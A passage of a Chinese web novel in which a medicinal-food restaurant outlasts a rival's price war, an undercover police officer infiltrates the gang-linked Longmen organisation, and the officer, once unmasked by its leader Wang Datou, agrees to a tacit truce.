分店的客流量只有预期的三分之一,连带着总店的客流也略有下滑。一些原本忠实的顾客,也难免被对面的低价和热闹所吸引,过去尝试了一下。
店内员工们的情绪难免有些低落,甚至开始出现一些流言蜚语,担心店铺能否撑下去。
张猛每天看着对面门庭若市,自家店相对冷清,急得嘴角都起了燎泡,在店里来回踱步,看谁都像欠他钱一样。
这天傍晚,他看着财务送来的、显示营业额大幅下滑的报表,再也忍不住,冲到王大头面前,把报表拍在桌子上,声音因为愤怒和焦急而有些嘶哑:
“大头!这都五天了!咱们就真这么干看着?他们这已经不是竞争了,这是赤裸裸的倾销,是欺负人!太卑鄙了!”
王大头拿起那份报表,只是扫了一眼,便平静地放下。
他拍了拍张猛的肩膀,语气沉稳,带着一种不容置疑的力量:“猛子,相信我,也相信我们的产品。让**,再飞一会儿。”
第55章:口碑为王,真材实料!
时间,是检验真理的唯一标准,也是戳破虚假泡沫最锋利的针。
一周的疯狂促销期过去了。
林氏药膳恢复了原价。虽然价格依然比龙门药膳略低一些,但已经不再是那种令人咋舌的白菜价。
而就是这价格的回归,如同退潮一般,瞬间让许多东西暴露了出来。
最初被低价和热闹吸引去的顾客,在新鲜感过后,开始用更加挑剔的眼光来衡量这家号称“全球旗舰”的药膳店。
首先暴露的是效果问题。
许多顾客发现,在林氏药膳连续吃了一周,除了感觉味道尚可(毕竟用料高级),环境和服务一流之外,身体上并没有感受到任何传说中的“神奇效果”。
什么缓解疲劳、提神醒脑、改善睡眠、舒筋活络……通通没有!最多就是觉得喝了碗用料比较足的浓汤。
“感觉就跟去高级餐厅吃了顿饭差不多,没啥特别感觉啊?”
“是啊,还说是国宝级专家研发的呢,吹得那么厉害,结果就这?”
“价格还不便宜,恢复原价后,一份汤也要好几百,感觉不值。”
“还是龙门那边实在,我上次颈椎不舒服,喝了两天他们的‘舒筋活络汤’,明显感觉轻松多了!”
类似的议论,开始在顾客之间,在一些小圈子的社交群里悄然流传。
相比之下,那些坚持在龙门药膳消费,或者在被林氏吸引过去尝试后又回来的顾客,感受则截然不同。
一位长期伏案工作、肩颈僵硬的白领在朋友圈分享:“还是老老实实回龙门吃药膳了,对面林氏看着高大上,喝了一周屁用没有,龙门的一碗‘活络汤’下肚,那股暖流和松快感是实实在在的!果然东西不能只看表面和价格。”
一位睡眠质量很差的中年老板对朋友感慨:“唉,贪便宜去对面试了试,结果睡眠一点没改善。昨天赶紧回龙门喝了‘安神汤’,晚上一觉到天亮!这钱,还是得花在刀刃上。”
口碑的力量,开始悄然发酵,并且因为之前的对比而显得更加珍贵和可信。
其次,是服务和细节的差距。
林氏药膳虽然装修奢华,服务员都经过严格培训,但总给人一种程式化的、冰冷的感觉,缺乏人情味。
而且因为客流量巨大(促销期后明显减少,但基数仍在),服务难免有些跟不上,偶尔会出现上错菜、响应慢等情况。
而龙门药膳,在李雅的精心管理和王大头“品质与服务至上”的要求下,始终坚持着高标准。
服务员能记住很多熟客的姓氏和喜好,服务贴心周到,店内氛围温馨。更重要的是,他们对自家的产品效果有着绝对的信心,这份信心会传递给顾客。
此消彼长之下,形势开始发生微妙而坚定的逆转!
龙门药膳分店的客流,开始稳步回升,并且越来越多的是目的明确、认可其价值的老顾客或者经人介绍而来的新客。
客单价不仅没有下降,反而因为顾客的忠诚度和认可度提升而有所提高。
而对面林氏药膳那庞大的店面,在失去了低价引流之后,逐渐显得有些空荡。虽然依旧有客人,但已经远不复开业时的盛况,甚至开始出现服务人员比客人多的尴尬局面。
又过了半个月。
林氏药膳旗舰店,五楼那间可以俯瞰整条街的奢华办公室内。
林耀宗站在落地窗前,面无表情地看着对面龙门药膳门口那络绎不绝、却井然有序的客流,再扫一眼自家楼下那稀稀拉拉、需要迎宾小姐努力招揽才偶尔进来几个的冷清场面。
他手中拿着一份最新的营业数据报告。
报告上显示,林氏药膳在投入了巨额装修、宣传和促销成本后,近一周的日营业额已经跌至冰点,连维持庞大的日常运营开销都困难,更别提盈利。
而对面龙门的营业额,却在稳步增长,甚至超过了他们开设分店前的水平!
他身后,几名负责此项目的经理和那位被高薪挖来的“国宝级专家”代表,都低着头,大气不敢出,额头上沁出细密的冷汗。
办公室里弥漫着一种令人窒息的低气压。
一名助理小心翼翼地递上一份市场调研报告,低声说道:“三爷,我们委托第三方做的匿名调研显示,超过八成尝试过两家药膳的顾客认为,龙门药膳的效果远胜我们……他们……他们称我们的产品为‘高级味精汤’……”
“啪!”
林耀宗猛地将手中的那份营业数据报告摔在地上!纸张散落一地。
他缓缓转过身,脸上依旧看不出太多的怒火,但那双隐藏在金丝眼镜后的眼睛,却冰冷得如同西伯利亚的寒流,缓缓扫过面前这群噤若寒蝉的下属。
他走到办公桌前,双手撑着桌面,身体微微前倾,目光最终落在那个负责“林氏药膳”项目的总经理身上,声音不高,却像冰锥一样刺入每个人
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的心脏:
“这就是你们耗费集团数亿资金,给我交出的答卷?”
“这就是你们信誓旦旦保证的,能够碾压龙门的‘绝对实力’?”
办公室内死一般的寂静,只有窗外隐约传来的、属于对面龙门药膳的喧闹声,像是在无声地嘲笑着他们的失败。
林家管事看着眼前这群废物,再想到那个一次次出乎他意料、顽强地在他打压下站稳脚跟甚至反向成长的王大头,脸色阴沉得几乎要滴出水来。
龙门药膳在商业竞争中挫败林家的消息,如同在看似平静的湖面投下又一颗分量不轻的石子,其引发的涟漪正以远超预期的速度,一圈圈扩散至这座城市的每一个角落。
不仅在地下世界引起了新一轮的震动和观望,也同样不可避免地,引起了另一个维持社会明面秩序的特殊群体的高度警觉与关注——警方。
一个名不见经传的新兴势力,在短短数月内如同彗星般崛起,以雷霆手段整合了黑蛇会这样的老牌地头蛇,又在商业战场上正面击退了林氏集团这等盘根错节的庞然大物的全力打压。
其核心人物王大头更是展现出神秘莫测、远超常理的武力(“影刺”的失踪虽无直接证据,但所有间接线索都隐隐指向他)……
这一切不同寻常的迹象,都让负责维护社会稳定、监控潜在风险的有关部门,不得不将审视的目光,郑重地投向这个名为“龙门”的组织。
他们迫切需要做出判断:龙门,究竟是一个可能破坏现有脆弱平衡、带来混乱的不稳定因素,还是一个……
或许可以在特定规则下引导、甚至在应对某些更棘手的麻烦时,能够进行有限度合作的特殊存在?
市局一间保密级别很高、隔音效果极佳的小型会议室内,空气凝重,烟雾缭绕,仿佛凝结成了实质。
投影屏幕上,正清晰地展示着王大头、张猛、李雅以及阿杰等几名已知核心成员的模糊照片和初步搜集到的有限资料。
主持会议的是一位面容刚毅、眉宇间带着一股不怒自威气势的中年警官,肩章显示着他的级别。
他姓陈,是市局刑侦总队负责有组织犯罪侦查的资深领导,以作风强硬、眼光毒辣著称。
他用激光笔指着王大头的照片,声音低沉而有力,如同敲打在每个人的心鼓上:
“这个‘龙门’,还有这个王大头,发展速度太快了,快得不合常理。”
第56章:警方的目光,卧底出现
陈警官开门见山,没有丝毫寒暄,“根据我们目前掌握的不完全情况,他们与黑蛇会的所谓‘整合’,过程充满了武力胁迫的影子,绝非正常的商业并购。与林家的一系列冲突,无论是之前的药材断供,还是近期林魁上门威胁、以及那个失踪的职业**‘影刺’……虽然我们缺乏直接证据将后者与王大头挂钩,但嫌疑极大,其中必然涉及严重的暴力犯罪。”
他顿了顿,目光锐利地扫过在座的几位核心骨干,继续道:“虽然目前来看,他们的主要产业‘龙门药膳’是合法经营,纳税记录良好,甚至口碑还不错。但其背景复杂,核心成员构成不明,武力手段突出,潜在的社会风险……非常高。我们不能等到他们坐大,或者酿成更大祸端时再介入。”
坐在主位的一位领导模样的老者缓缓开口,声音沉稳:“老陈,你的具体想法是?”
“我的意见是,主动出击,派人渗透进去!”
陈警官斩钉截铁,语气不容置疑,“我们需要一双眼睛,近距离、长时间地观察这个组织。了解它的真实架构、运作模式、资金来源,更重要的是,摸清其核心成员,尤其是王大头的真实性格、意图和底线!他们与林家冲突的真相到底是什么?如果龙门有向恶性、暴力型犯罪组织发展的明确苗头,我们必须尽早掌握确凿证据,在其造成更大破坏前,坚决予以铲除!”
他话锋一转,语气稍缓,但眼神依旧锐利:“但如果……经过深入了解,发现这个组织确实有其特殊性,其行为有一定底线,甚至与林家这样的势力存在不可调和的矛盾……那么,在严格监控和引导的前提下,或许也能成为我们了解乃至制衡林家等其他盘踞势力的一个特殊信息渠道。毕竟,林家这块硬骨头,我们啃了这么多年,也一直缺乏有效的突破口。”
会议室內陷入短暂的沉默,只有香烟燃烧的细微滋滋声。
几位领导低声交换了意见。
陈警官的分析逻辑清晰,考虑周全,卧底侦察确实是目前情况下最稳妥、也是最能获取核心情报的手段。
最终,一项代号为“潜龙”的专项卧底侦察计划,迅速被审议并通过,要求严格保密,谨慎执行。
经过层层筛选和评估,执行这个艰巨而危险任务的人选,落在了市局刑侦支队一名刚从警校毕业不足两年、名叫张力的年轻刑警身上。
张力外表看起来有些瘦弱,皮肤白皙,戴着一副普通的黑框眼镜,说话时甚至偶尔会流露出一点腼腆,像极了刚走出**塔、对社会充满懵懂与好奇的大学生。
这种极具欺骗性的外表,是他最好的保护色。
但实际上,他心思之缜密、观察力之敏锐、心理素质之稳定,在同龄人中堪称翘楚,在校期间就参与过几次成功的化装侦察任务,得到了上级的赏识。
接到任务后,张力迅速进入了状态。
他为自己精心伪造了一个名为“阿力”的身份背景:自幼父母双亡,靠亲戚接济和打零工勉强读完高中,渴望在城市立足却屡屡碰壁,性格坚韧、吃苦耐劳、对机会极度珍惜的社会底层青年。
他熟记了“阿力”的一切生活细节、口癖、行为习惯,甚至连梦境都几乎要融入这个虚构的人生。
几天后,正如警方通过内部渠道预估的那样,龙门药膳正在筹备的第二家分店,发布了一则招聘后勤杂工的启事。
工作要求不高,主要是搬运食材、打扫卫生、协助仓库管理等体力活,要求应聘者吃苦耐劳,背景清白。
化身“阿力”的张力,带着那份精心准备、几乎天衣无缝的简历,脸上挂着恰到好处的局促、渴望以及对未来的些许茫然,来到了分店的临时招聘点。
面试他的是分店新任命的经理,以及亲自过来把关的李雅。
李雅看着简历上“阿力”那“坎坷”的经历,又抬眼看了看眼前这个清秀、眼神干净却带着一丝生活磨砺留下的倔强的年轻人,心中不由得生出了几分同情与怜惜。
她本身也是经历过困境的人,对这种努力挣扎求生存的年轻人,天然抱有善意。
“阿力是吧?”
李雅的声音很温和,尽量不给他压力,“我们这里后勤的工作可能会比较辛苦,食材搬运量不小,工作时间也不完全固定,而且店里规矩比较多,要求严格,你能接受吗?”
“我能!我一定能!”
阿力(张力)连忙用力点头,眼神中充满了对这份工作的渴望和珍惜,语气带着一丝不易察觉的颤抖(恰到好处地表现激动),“李经理,请您放心!我什么苦都能吃,什么活儿都愿意干!只要给我这个机会,我一定好好干,绝不会偷懒!”
他诚恳的态度和那双清澈中带
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着倔强的眼睛,打动了李雅和旁边的分店经理。
加上后勤杂工本身并非涉及核心秘方或财务的关键岗位,在经过一番简单的、流于形式的背景核查(其结果早已在警方的安排下无懈可击)后,“阿力”成功被录用,成为了龙门一名最外围的基层员工。
张力,或者说“阿力”,他的卧底生涯,就此正式开始。
他完美地扮演着一个勤劳、踏实、甚至有些木讷的底层青年。
搬卸食材时,他总是抢着最重的箱子,累得满头大汗也从不抱怨;打扫卫生时,他一丝不苟,连角落里的灰尘都不放过;对店里的老员工和前辈,他总是客客气气,带着尊敬。他很快便以其“老实肯干”的形象,赢得了分店不少老员工的好感和同情,也初步消除了可能存在的戒心。
与此同时,他隐藏在黑框眼镜后的那双眼睛,如同最精密的扫描仪,不动声色地观察着店里的一切。
他仔细记录着每日的人员往来、客流量特征、运营管理模式、食材进货渠道,并小心翼翼地寻找着任何可能接触更核心信息或人物的机会。
他很快敏锐地察觉到,龙门内部似乎存在着一条无形却清晰的界限。
像他这样的外围普通员工,只能接触到最基础、最流程化的日常工作,对于龙门的真正架构、决策层、以及那些隐藏在合法生意背后的活动,几乎一无所知。
而像张猛、阿杰、小斌那些已知的核心成员,则显得神秘而低调,他们不常出现在分店,偶尔现身也是行色匆匆,眉宇间带着一股普通员工没有的精悍与冷冽气息,仿佛时刻处于某种戒备状态。
他还注意到,那位传说中的“龙头”王大头,虽然地位超然,但平时极其低调,大多数时间都待在总店或者那个据说位于某个老旧小区顶楼的住所,深居简出。
即便偶尔来到分店巡查,也给人一种沉稳如山、气息内敛、完全看不透深浅的感觉,与资料中描述的“武力强横”形象似乎有些出入,却更显莫测。
这天傍晚,夕阳的余晖将仓库的窗户染成一片暖金色。
阿力(张力)正按照清单,仔细清点、核对新送来的一批来自王大头家乡的特定药材。
就在这时,仓库门口的光线一暗,两道人影走了进来。
正是王大头,以及如同影子般紧随其后的张猛。
第58章:警方的雷霆行动
办公室内顿时陷入一片混乱,桌椅翻倒,杯盘碎裂的声音不绝于耳。
阿杰和小斌也立刻上前,挡住了其他想要插手或逃跑的黑蛇会成员。
而按照“剧本”安排,本该在楼下货车旁等待的“阿力”(张力),清晰地听到了楼上传来的激烈打斗声、怒吼声和物品破碎声。
他心中一惊,“出于对同事(张猛等人)的担心和自身的职责”,没有任何犹豫,立刻迅速跑上楼查看情况。
当他气喘吁吁地冲到办公室门口时,映入眼帘的正是张猛以一敌三,以绝对优势将“疯狗”和另一名心腹狠狠制服在地的场面!
而就在张猛将“疯狗”死死按在地上的瞬间,从“疯狗”那被扯破的上衣内袋里,又滚落出几个同样包装的白色小塑料袋,以及一个巴掌大小、封面磨损严重的深色笔记本!
这几样要命的东西,不偏不倚,在混乱中正好滚到了办公室门口,停在了刚刚赶到的阿力脚边!
办公室内瞬间陷入一片死寂。
蝮蛇和剩余的几个心腹,看着门口突然出现的阿力,以及他脚下那几包刺眼的白色粉末和那个记录着他们隐秘交易时间、地点、金额和上下线联系方式的致命笔记本,所有人的脸色在刹那间变得惨白如纸,如同被抽走了所有魂魄,眼中只剩下绝望和恐惧!
张猛也适时地停下了动作,他抬起头,目光“锐利”地看向门口的阿力,又扫了一眼他脚下的“罪证”,脸上露出恰到好处的“震惊”与难以抑制的“愤怒”,用一种带着不容置疑的命令口吻,厉声喝道:“阿力!把东西捡起来!看好了!这些都是证据!”
站在门口的阿力(张力),心脏在那一刻仿佛被一只无形的大手狠狠攥住,几乎停止了跳动!
作为受过专业训练的刑警,他几乎不需要第二眼,就能凭借经验和直觉,百分之百地确认那些白色晶体粉末是何种致命的**!
而那个笔记本上潦草却清晰的记录,更是赤裸裸地指向了一个隐蔽的**网络!这是毋庸置疑的重罪铁证!
他下意识地、几乎是本能地弯腰,迅速将脚边的几个塑料袋和那个笔记本捡了起来,紧紧握在手中。
手指接触到那冰凉滑腻的塑料包装和粗糙的纸质封面时,他的内心却如同掀起了惊涛骇浪,思绪一片混乱!
他卧底的任务,是奉命调查龙门这个新兴组织的内部结构和潜在风险。
可眼前这突如其来的一幕,却完全超出了他的预料!
他阴差阳错地,亲眼目睹了龙门核心成员张猛与黑蛇会头目因**问题爆发激烈冲突,并且亲手拿到了黑蛇会**的如山铁证!
而且是在冲突过程中,由张猛亲口下令,让他这个“自己人”保管证据!
这戏剧性的一幕,瞬间冲击并颠覆了他之前对龙门的一些预设判断和担忧。
他原本根据有限情报,推测龙门整合黑蛇会,可能是走向更深度、更隐蔽犯罪的开端。
但眼前这血淋淋的事实似乎强烈地表明:龙门内部,至少是像张猛这样的绝对核心成员,对于**这种严重危害社会、触碰法律高压线的东西,是持着一种坚决反对、零容忍、甚至不惜内部清理的强硬态度!
难道……自己之前的判断有误?
龙门并非想象中那样,是一个无恶不作、唯利是图的犯罪组织?
他们强力整合黑蛇会,或许有着更深层、更复杂的考量,甚至……
其目的之一,就是为了约束、整顿,乃至最终清除掉像黑蛇会这样的社会毒瘤?
各种复杂的念头、猜测和疑问,如同潮水般在张力脑海中汹涌碰撞。
他强迫自己以极强的意志力冷静下来,紧紧握着手中那轻飘飘却又重若千钧的“证据”,迅速退到门口相对安全的位置,用身体挡住办公室内那些绝望目光可能投来的抢夺路径,同时保持着高度的警惕,观察着办公室内每一个人的反应和动静。
张猛冷哼一声,不再理会面如死灰、瘫软在地的蝮蛇等人,他走到阿力身边,用力拍了拍他略显单薄的肩膀,语气中带着毫不掩饰的赞许和一种同道中人的认同感:“干得好,阿力!这些东西非常重要!你看好了,我立刻联系龙头,请示如何处理这些败类!”
张力(阿力)僵硬地站在原地,手中那几小包**和笔记本,仿佛带着灼人的温度,烫得他手心发麻。
他看着办公室内黑蛇会成员那如同待宰羔羊般的绝望和眼底深处无法掩饰的怨毒,又看了看身旁这位义愤填膺、对**深恶痛绝、行事作风强硬却似乎坚守着某种底线的龙门悍将张猛。
张力(阿力)握着那烫手山芋般的证据,在黑蛇会总部外焦急等待的每一分每一秒都显得格外漫长。
他能清晰地听到楼内隐约传来的、张猛压制性的怒斥和黑蛇会成员绝望的哀鸣。
手中的塑料袋和笔记本,仿佛散发着腐蚀性的毒气,让他这个
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正义的警察感到一阵阵生理性的不适,却又因为任务在身和眼前这意想不到的变故而心潮澎湃。
没过多久,一阵低沉而威严的引擎轰鸣声由远及近。
不是普通的警笛,而是那种特种车辆特有的、充满力量感的声响。
数辆没有任何标识、但车型彪悍的黑色越野车,如同暗夜中扑食的猎豹,悄无声息地迅速包围了黑蛇会总部所在的这栋小楼。
车上跳下来二十几名全副武装、穿着黑色作战服、戴着面罩的特警队员,动作迅捷如风,战术动作干净利落,瞬间就控制了所有出入口和制高点,强大的压迫感让周围的空气都仿佛凝固了。
张力心中一震,知道这是市局最精锐的反恐突击队,看来上级对这份证据和黑蛇会这个毒瘤高度重视!
一个穿着便装、但眼神锐利如鹰的中年男子在两名队员的护卫下快步走到张力面前,正是他的直接上级,陈警官。
陈警官没有多余废话,目光如电扫过张力手中的东西,沉声道:“确认了?”
“确认!陈队!”
张力立刻将证据递上,语速极快但清晰地汇报,“来源可靠,是在龙门张猛与黑蛇会冲突中意外获取,人赃并获!里面至少还有蝮蛇和三个核心骨干,都涉嫌参与!”
陈警官接过证据,只是看了一眼那笔记本上的记录和塑料袋,脸色瞬间变得无比严肃和冰冷。
“行动!”
他对着耳麦干脆利落地下达了命令。
“砰!”
一声沉闷的破门声响起,特警队员如同神兵天降,突入楼内。
里面顿时传来一阵惊慌失措的叫喊、激烈的反抗声以及迅速被**下去的闷响和呵斥声。
整个过程不超过三分钟。
当蝮蛇、师爷以及另外几个核心心腹,个个鼻青脸肿、双手被反铐、如同死狗般被特警队员粗暴地押解出来时,他们脸上充满了极致的恐惧、茫然和难以置信。
他们怎么也想不通,明明只是和龙门的一次寻常冲突,怎么转眼间就引来了警方最精锐力量的雷霆打击?而且证据如此确凿!
蝮蛇被押过张力身边时,浑浊而绝望的眼睛死死盯了他一眼,那眼神充满了怨毒和一丝终于明悟的绝望——
是这个看似老实的新人!
是龙门!
他们被算计了!
张力面无表情地看着他们被塞进装甲车,内心却远不如表面平静。
他知道,这仅仅是开始。
第59章:张力的困惑与接近
果然,就在抓捕黑蛇会核心成员的同时,根据笔记本上记录的信息和警方早已掌握的部分线索,一张更大的收网行动在全市多个角落同步展开!
数个隐蔽的黑蛇会**分销窝点、藏匿仓库被连根拔起,大量**和毒资被缴获,数十名涉案人员落网!
这场酝酿已久的雷霆行动,因为张力意外获得的这份关键证据而提前并完美收网!
盘踞城西多年的黑蛇会,这个社会毒瘤,在一夜之间被彻底铲除!
消息传出,整个城市的暗面为之震动!
而这一切的始作俑者之一,龙门,此刻却显得异常平静。
顶楼出租屋内,王大头听着张猛略带兴奋的汇报,脸上露出一丝一切尽在掌握的淡然笑容。
“猛子,做得不错。”
王大头赞许地点点头,“黑蛇会自取灭亡,省了我们不少手脚。接下来,你知道该怎么做吗?”
张猛咧嘴一笑,眼中闪烁着精光:“明白!龙头!黑蛇会的地盘现在群龙无首,一片混乱,正是我们接手的好时机!我这就带阿杰、小斌他们过去,以维持秩序、防止骚乱的名义,把那些还能用的场子和人手接收过来!愿意守规矩的,可以留下来观察;还想浑水摸鱼的,直接清理掉!”
这就是王大头的计划!
借警方这把最锋利的“刀”,干净利落地切掉了黑蛇会这个已经滋生异心、并且可能带来更**烦的毒瘤!
不仅清除了内部的不稳定因素,向警方示好(打击犯罪),还顺势扩大了龙门的实际控制范围和影响力!
几乎兵不血刃,龙门便以正义执行者与合作者的姿态,名正言顺地吞并了黑蛇会留下的绝大部分地盘和部分经过筛选的人员,势力如同滚雪球般,迎来了成立后的第一次实质性大规模扩张!
黑蛇会的覆灭,如同在张力(阿力)的卧底生涯中投下了一颗深水**,让他原本清晰的任务目标变得模糊而复杂。
他躺在警方安全屋的床上,辗转反侧,脑海中不断回放着那晚的场景——张猛对**那毫不掩饰的憎恶与坚决打击,黑蛇会成员被抓捕时的绝望,以及……王大头那双仿佛能看透一切、却又深不见底的眼睛。
上级对这次行动的结果非常满意,不仅铲除了一个重大毒瘤,还意外获得了关于龙门的一些“正面”信息。
陈警官甚至暗示张力,可以适当调整调查方向,重点观察龙门是否真的如其表现的那样,与传统的黑恶势力有所不同,是否存在“引导”或“有限合作”的可能性。
这让张力感到前所未有的困惑。
他接受的训练是打击犯罪,分辨黑白。
可龙门的存在,却像是一道灰色的谜题。
他们使用武力,整合地下势力,与林家这样的商业巨鳄激烈对抗,怎么看都游走在危险的边缘。
但他们又似乎坚守着某些底线,比如对**的零容忍,药膳生意的合法火爆,甚至……这次还间接帮助警方破获了大案。
这一切的源头,似乎都指向那个神秘莫测的年轻人——王大头。
他到底是个什么样的人?
一个拥有恐怖武力的莽夫?
一个精于算计的野心家?
还是……一个试图在混乱秩序中建立某种新规则的特殊存在?
强烈的探究欲驱使着张力,他决定主动接近王大头,试图拨开迷雾,看清这个年轻人的真实面目。
几天后,张力回到了龙门药膳分店继续他的“杂工”工作。
因为上次“意外”立功(保护了关键证据),他在店里的地位似乎隐隐提升了一些,连张猛看到他都会点点头打个招呼。
他耐心地寻找着机会。
这天下午,王大头难得地出现在分店的后院,似乎是来查看新一批从家乡运来的特殊药材。
他独自一人,正蹲在地上,仔细检查着那些还带着泥土芬芳的根茎,神情专注而平和,与传说中那个能击毙林家**、逼降黑蛇会的“龙头”形象判若两人。
张力深吸一口气,端着一杯刚刚泡好的、店裡给员工准备的清热凉茶,走了过去。
“龙头,喝点茶休息下吧。”
张力将茶杯递过去,语气带着恰到好处的恭敬和一丝不易察觉的试探。
王大头抬起头,看到是“阿力”,脸上露出一丝温和的笑容,接过茶杯:“谢谢,阿力。最近工作还习惯吗?”
“习惯,挺好的。”
张力站在一旁,没有立刻离开,他斟酌着词语,像是闲聊般说道,“就是……没想到咱们店里生意这么好,而且,感觉和别的地方不太一样。”
“哦?哪里不一样?”
王大头吹了吹茶水上的热气,饶有兴趣地问道,目光平静地落在张力脸上。
张力感觉那目光仿佛带着某种穿透力,让他内心微微一紧,但他还是努力保持着自然,继续说道:“就是……氛围吧。别的地方,尤其是以前混过的那些场子,要么乌烟瘴气,要么勾心斗角。但在这里,大家好像都挺有奔头的,干活也踏实。而且……”
他
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顿了顿,似乎在组织语言,“上次黑蛇会那事,猛哥的反应……让我挺意外的。”
王大头轻轻呷了一口茶,没有说话,只是用眼神示意他继续说下去。
张力鼓起勇气,抬起头,目光与王大头对视,试图从那深邃的眼眸中读出些什么:
“王老板,我见识少,但感觉……您和别的那些老大,似乎不太一样。”
这句话,半是试探,半是他内心真实困惑的表达。
他想知道,这个掌控着强大武力、驾驭着迅猛发展的商业帝国、游走于灰色地带的年轻人,究竟怀着一颗怎样的心。
王大头看着他眼中那抹隐藏得很好的审视与探究,嘴角那抹若有若无的弧度似乎加深了一些。
他没有直接回答,而是将目光投向远处忙碌的店铺和前厅隐约传来的顾客交谈声,仿佛在看着某种更宏大的图景。
“阿力,”
他收回目光,重新看向张力,语气平和却带着一种不容置疑的力量,“龙门想走的路,确实和很多人不一样。我们追求的,不是称王称霸,也不是简单的赚钱牟利。”
他站起身,将空茶杯递还给张力,拍了拍他的肩膀,留下一个意味深长的眼神和一句更加意味深长的话:
“好好干,你会看到的。”
说完,他便转身离开了后院,留下张力一个人站在原地,手中握着那个空茶杯,心中充满了更多的问号,以及一种……难以言喻的、被某种宏大愿景所隐约触动的震撼。
王大头没有给出明确的答案,但他的态度,他那句“不一样的路”,却像一颗种子,在张力心中悄然埋下。
张力(阿力)在后院与王大头那次简短的交谈,像一颗投入心湖的石子,激起的涟漪久久未能平息。
“不一样的路”这几个字,以及王大头那平和却蕴含力量的眼神,不断在他脑海中回响。
他发现自己越来越难以用简单的“黑”或“白”来定义龙门,定义王大头。
几天后的一个深夜,张力结束了一天的工作,正准备离开分店回宿舍,却在后门被张猛叫住了。
“阿力,龙头找你,在楼上办公室。”张猛言简意赅,脸上没什么表情,但眼神深处似乎多了一丝不同于以往的审视。
张力心中一动,点了点头,跟着张猛上了楼。
分店二楼的办公室比总店小一些,布置同样简洁,王大头正坐在茶海前,慢条斯理地冲洗着茶杯,氤氲的热气模糊了他部分面容,显得更加深邃难测。
“坐。”
第60章:默契的形成
王大头指了指对面的位置,示意张力坐下,然后推过去一杯刚沏好的、色泽清亮的绿茶。
“尝尝,老家山上自己种的,没什么名气,但味道还算纯正。”
张力依言坐下,双手接过茶杯,指尖感受到瓷杯传来的温热。
他没有立刻喝,而是看着王大头,等待他开口。
他知道,这次深夜召见,绝非喝茶闲聊那么简单。
王大头也没有绕圈子,他端起自己那杯茶,轻轻呷了一口,目光平静地看向张力,开门见山,却又语出惊人:
“阿力,或者……我该称呼你,张警官?”
“噗——!”
张力刚入口的茶水差点直接喷出来!
他猛地咳嗽起来,脸色瞬间涨红,心脏如同被重锤击中,疯狂擂动!
他难以置信地看向王大头,对方的表情依旧平静,仿佛只是说了一句“今天天气不错”。
他……他怎么会知道?!
自己的身份是绝对保密的!
是哪里露出了破绽?
还是……他早就知道了,一直在陪自己演戏?
巨大的震惊和职业本能让他瞬间进入了戒备状态,身体微微绷紧,眼神锐利地看向王大头,试图从他脸上找出任何一丝威胁或敌意。
然而,没有。
王大头只是淡淡地看着他,甚至嘴角还带着一丝若有若无的、像是看穿了顽皮孩子恶作剧般的无奈笑意。
“别紧张,张警官。”
王大头放下茶杯,语气依旧平和,“如果我或者龙门真的想对你不利,你觉得,你还能安然坐在这里喝茶吗?”
这句话像一盆冷水,浇熄了张力部分因暴露而产生的慌乱。
是啊,以王大头展现出的实力和龙门对内部的掌控力,如果真有恶意,自己恐怕早就“意外”失踪了。
“你……什么时候知道的?”
张力深吸一口气,强迫自己冷静下来,既然已经被点破,掩饰已经没有意义。
他恢复了刑警的沉着,目光直视王大头。
“你来的第一天,我就感觉你有些‘特别’。”
王大头没有隐瞒,但也说得模糊,自然不会透露【因果洞察】的存在,“你的眼神,你的观察方式,以及你身上那种……与周围环境格格不入的‘秩序’气息,都太明显了。”
张力默然,原来自己自以为完美的伪装,在对方眼中竟如此漏洞百出。
“那你为什么……”张力想问为什么不动手,为什么不揭穿。
“因为我想看看,警方派你来,究竟想看到什么。”
王大头打断了他,目光变得认真起来,“也想让你,亲眼看看,龙门究竟是一个什么样的组织。”
他身体微微前倾,目光灼灼地看着张力,声音低沉而清晰:
“张警官,我知道,在你们眼中,我们或许游走在灰色地带,动用武力,整合势力,与林家对抗,充满了不确定性和危险性。我不否认这些。”
“但我想告诉你的是,龙门成立的初衷,从来不是为了称霸一方,也不是为了欺压良善,攫取不义之财!”
他的语气带着一种不容置疑的真诚与坚定:“我们最初,只是为了自保,为了保护自己和家人朋友不受欺辱。但随着力量的增长,我们看到的是更多像我们曾经一样,处于弱势、面对不公却无力反抗的人。”
“所以,我给龙门定下的路,是‘不行恶事,庇护弱小’!”
王大头一字一句,如同宣誓,“我们整合黑蛇会,是为了清除毒瘤,约束混乱,而不是为了继承他们的罪恶!我们对抗林家,是因为他们仗势欺人,步步紧逼,我们退无可退!我们发展药膳生意,是为了拥有立足的根本,光明正大地赚钱,养活跟着我们的兄弟,也能回馈社会!”
他指向窗外这座城市的灯火:“我们想要的,是一个能让弱者有所依靠,让受欺压者能看到希望,让像黑蛇会那样的毒瘤无法肆意妄为的环境!也许这条路很难,很险,会被人误解,但我们愿意去尝试,去开辟!”
这番话,如同洪钟大吕,重重敲击在张力的心上!
他怔怔地看着王大头,看着这个比自己还要年轻几岁的“龙头”,看着他眼中那毫不作伪的赤诚与近乎理想主义的光芒。
不行恶事,庇护弱小!
这八个字,与他内心深处作为一名警察的职责与信念,产生了强烈的共鸣!
他见过太多黑暗,太多因为力量不对等而导致的悲剧。
如果……如果真有一个拥有足够力量的组织,愿意秉持这样的理念,在法律的边缘,去弥补一些光无法完全照亮的角落……
这个想法让他感到震撼,甚至有些……动摇。
他看着王大头,看着他那清澈而坚定的眼神,又想起张猛对
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**的深恶痛绝,想起龙门药膳生意的合法与火爆,想起黑蛇会的覆灭……所有的线索似乎都指向一个结论——
王大头说的,很可能是真的!
至少,是目前为止,龙门正在努力践行的方向!
长时间的沉默在办公室内蔓延。
张力内心在进行着激烈的思想斗争。
他的职责是维**律,打击犯罪。
但法律并非万能,有些灰色地带,有些潜在的秩序维护者,是否应该一概而论?
最终,他缓缓抬起头,目光复杂地看向王大头,声音有些干涩,却带着一种做出了艰难抉择后的释然:
“王老板,你的话,我无法完全验证,但我愿意……相信你的诚意。”
“我的职责是维**律和秩序。只要龙门不行恶事,不触碰**、人命这些底线,在合法的框架内行事,你们与林家或者其他势力的恩怨,只要不波及无辜,不引发大规模骚乱……”
他顿了顿,声音压低,几乎微不可闻,却清晰地传入王大头耳中:
“我可以……视而不见。”
这不是妥协,更不是同流合污,而是一种基于现实判断和内心信念的……有限度的默许与观察。
一种在灰色地带中形成的,脆弱而微妙的心照不宣的默契。
王大头看着他,脸上露出了一个真正意义上的、舒缓的笑容。
他再次举起茶杯:
“以茶代酒。”
张力看着他,片刻后,也缓缓举起了自己面前那杯早已微凉的茶。
两只茶杯,在寂静的深夜办公室内,轻轻碰在一起。
